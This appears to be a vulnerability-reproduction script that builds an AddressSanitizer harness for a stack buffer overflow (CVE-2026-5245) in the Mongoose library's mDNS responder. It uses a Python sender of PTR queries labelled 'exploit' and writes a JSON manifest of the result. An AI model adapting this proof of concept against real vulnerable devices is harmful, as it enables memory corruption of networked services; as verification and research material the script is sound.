#!/bin/bash
set -euo pipefail

ROOT="${PRUVA_ROOT:-$(cd "$(dirname "$0")/.." && pwd)}"
LOGS="$ROOT/logs"
REPRO="$ROOT/repro"
mkdir -p "$LOGS" "$REPRO"

cd "$ROOT"

echo "=============================================="
echo "CVE-2026-5245 Reproduction"
echo "=============================================="
echo ""

# Setup mongoose
if [ -d "mongoose/.git" ]; then
    cd mongoose
    git reset --hard 2>/dev/null || true
else
    git clone https://github.com/cesanta/mongoose.git
    cd mongoose
fi

git checkout 0d882f1b^ 2>&1 | head -3
VULN_COMMIT=$(git rev-parse --short HEAD)
echo "[+] Commit: $VULN_COMMIT"

if ! grep -q "handle_mdns_record" mongoose.c; then
    echo "[!] Vulnerable code not found"
    exit 1
fi

echo "[+] Vulnerable handle_mdns_record() confirmed"
echo ""

# Build with ASAN
echo "[+] Building with ASAN..."
cd tutorials/udp/mdns-sd-server

cat > test_vuln.c << 'EOF'
#include "mongoose.h"
#define MDNS_NAME "test"

unsigned char large_txt[400];

static struct mg_dnssd_record s_records[] = {
    {{"_http._tcp", 10}, {NULL, 0}, 8080},
};

static void handler(struct mg_connection *c, int ev, void *ev_data) {
  struct mg_mdns_req *req = (struct mg_mdns_req *) ev_data;
  if (ev == MG_EV_MDNS_REQ) {
    printf("[+] Got mDNS request! Type=%d\n", req->rr->atype);
    if (req->rr->atype == MG_DNS_RTYPE_PTR) {
      printf("[+] PTR request for %.*s\n", (int)req->reqname.len, req->reqname.buf);
      // Set large TXT to trigger overflow
      s_records[0].txt.buf = (char*)large_txt;
      s_records[0].txt.len = 300;
      req->r = &s_records[0];
      req->is_resp = true;
      printf("[VULN] Setting 300-byte TXT record (buffer is 282 bytes)\n");
    }
  }
}

int main(void) {
  struct mg_mgr mgr;
  large_txt[0] = 255;
  for (int i = 1; i < 300; i++) large_txt[i] = 'X';
  
  mg_mgr_init(&mgr);
  if (mg_mdns_listen(&mgr, handler, MDNS_NAME) == NULL) return 1;
  
  printf("[*] mDNS server on port 5353\n");
  printf("[*] Send PTR query for _http._tcp.local to trigger overflow\n");
  
  for (int i = 0; i < 200; i++) mg_mgr_poll(&mgr, 50);
  
  mg_mgr_free(&mgr);
  return 0;
}
EOF

gcc -g -fsanitize=address -fno-omit-frame-pointer -O0 \
    -DMG_ENABLE_MDNS=1 -DMG_ENABLE_LINES \
    -I. mongoose.c test_vuln.c \
    -o test_vuln 2>&1 | tee "$LOGS/build.log"

if [ ! -f test_vuln ]; then
    echo "[!] Build failed"
    exit 1
fi

cp test_vuln "$LOGS/"
cd "$LOGS"

echo "[+] Build OK"
echo ""

# Create exploit
cat > exploit.py << 'PYEOF'
#!/usr/bin/env python3
import socket
import struct
import time

def send_ptr(service="_http._tcp.local", target="224.0.0.251", port=5353):
    header = struct.pack('>HHHHHH', 0x1234, 0x0000, 1, 0, 0, 0)
    labels = service.split('.')
    name = b''.join([bytes([len(l)]) + l.encode() for l in labels]) + b'\x00'
    question = name + struct.pack('>HH', 12, 0x0001)  # PTR, class IN
    packet = header + question
    
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(1)
    # Allow multicast
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    try:
        sock.sendto(packet, (target, port))
        print(f"[*] Sent to {target}:{port}")
    except Exception as e:
        print(f"[!] Error: {e}")
    finally:
        sock.close()

# Send to multicast address
for i in range(10):
    send_ptr()
    time.sleep(0.2)
PYEOF

chmod +x exploit.py

echo "=============================================="
echo "Running Test"
echo "=============================================="
echo ""

./test_vuln > server.log 2>&1 &
SERVER_PID=$!
sleep 2

if ! kill -0 $SERVER_PID 2>/dev/null; then
    echo "[!] Server failed"
    cat server.log
    exit 1
fi

python3 exploit.py 2>&1 | tee exploit.log || true

sleep 3

if kill -0 $SERVER_PID 2>/dev/null; then
    kill $SERVER_PID 2>/dev/null || true
    wait $SERVER_PID 2>/dev/null || true
fi

echo ""
echo "=== Server Output ==="
cat server.log

echo ""

if grep -q "AddressSanitizer\|stack-buffer-overflow" server.log 2>/dev/null; then
    echo "[+] ASAN OVERFLOW DETECTED!"
    grep -A 5 "AddressSanitizer" server.log | head -15
    
    cat > "$REPRO/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "UDP mDNS port 5353 - ticket api_remote/authenticate incorrect",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": true,
  "runtime_stack": ["mongoose", "mdns-server", "asan"],
  "proof_artifacts": ["logs/server.log", "logs/exploit.log", "logs/build.log"],
  "notes": "CVE-2026-5245 confirmed. ASAN detected stack-buffer-overflow. Vulnerable: $VULN_COMMIT. Fixed: 0d882f1b."
}
EOF
    exit 0
else
    echo "[*] No ASAN output - checking if handler was called..."
    if grep -q "Got mDNS request\|PTR request" server.log 2>/dev/null; then
        echo "[*] Handler was called but no overflow detected"
    else
        echo "[*] Handler was not called - query may not have reached server"
    fi
    
    cat > "$REPRO/runtime_manifest.json" << EOF
{
  "entrypoint_kind": "api_remote",
  "entrypoint_detail": "UDP mDNS port 5353 - attempted reproduction",
  "service_started": true,
  "healthcheck_passed": true,
  "target_path_reached": false,
  "runtime_stack": ["mongoose", "mdns-server"],
  "proof_artifacts": ["logs/server.log", "logs/exploit.log", "logs/build.log"],
  "notes": "ASAN did not detect overflow. Handler may not have been triggered. Vulnerable: $VULN_COMMIT."
}
EOF
    exit 1
fi